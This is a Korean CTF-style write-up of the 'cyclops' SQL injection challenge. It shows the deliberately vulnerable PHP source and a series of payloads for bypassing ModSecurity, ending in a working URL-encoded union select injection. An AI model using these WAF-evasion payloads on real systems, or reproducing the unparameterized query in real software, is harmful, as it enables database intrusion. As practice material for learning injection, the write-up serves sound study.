<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id,pw from prob_cyclops where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['id'] === "first") && ($result['pw'] === "second")) solve("cyclops");//must use union select
highlight_file(__FILE__);
?>
1.
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id,pw from prob_cyclops where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
🔹 $_GET[id]
, $_GET[pw]
파라미터 필터링
❌ prob
, _
, .
, ()
, /i (대소문자를 구분하지 않음)
2.
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['id'] === "first") && ($result['pw'] === "second")) solve("cyclops");//must use union select
id = first , pw = second이면 정상적으로 출력이 가능하다고 한다. 그리고 주석에는 union select
를 사용해야한다고 한다.
URL을 확인해보니 ModSecurity
를 사용하고 있다.
id='-1'<@=1 OR {a 1}=1 AND pw=1
modsec bypass
는 먹히는 것 같다.
id='-1'<@=1 OR {a 1}=1 AND pw=1 union select '1
음..어디서 막힌거지?
id='-1'<@=1 OR {a 1}=1 AND pw=1 union '1
union
은 정상적으로 출력된다.
id='-1'<@=1 OR {a 1}=1 AND pw=1 union sel/**/ect 'frist'%26%26'second'%23
select에서 막힌 것 같다. 흠..일단 주석처리는 출력되는 걸 확인은 했다.
id='-1'<@=1 OR {a 1}=1 AND pw=1 union/**/select 'frist'%26%26'second'%23
흠.. 뭐가 문제일까
id='-1'<@=1 OR {a 1}=1 union/**/select 'frist'%26%26'second'%23
혹시나 AND
가 두 번 들어가서 그런가 싶어 확인했지만, 아닌 것 같다.
id='-1<@=1 or {a 1}=1 union/**/select 'first','second'#
URL Encoding을 해서 id=%27-1<%40%3D1%20or%20%7Ba%201%7D%3D1%20union%2F**%2Fselect%20%27first%27%2C%20%27second%27%23
를 입력했더니 풀렸다.
id=
는 인코딩해서 입력하면 출력이 되지 않으니, 주의하자!!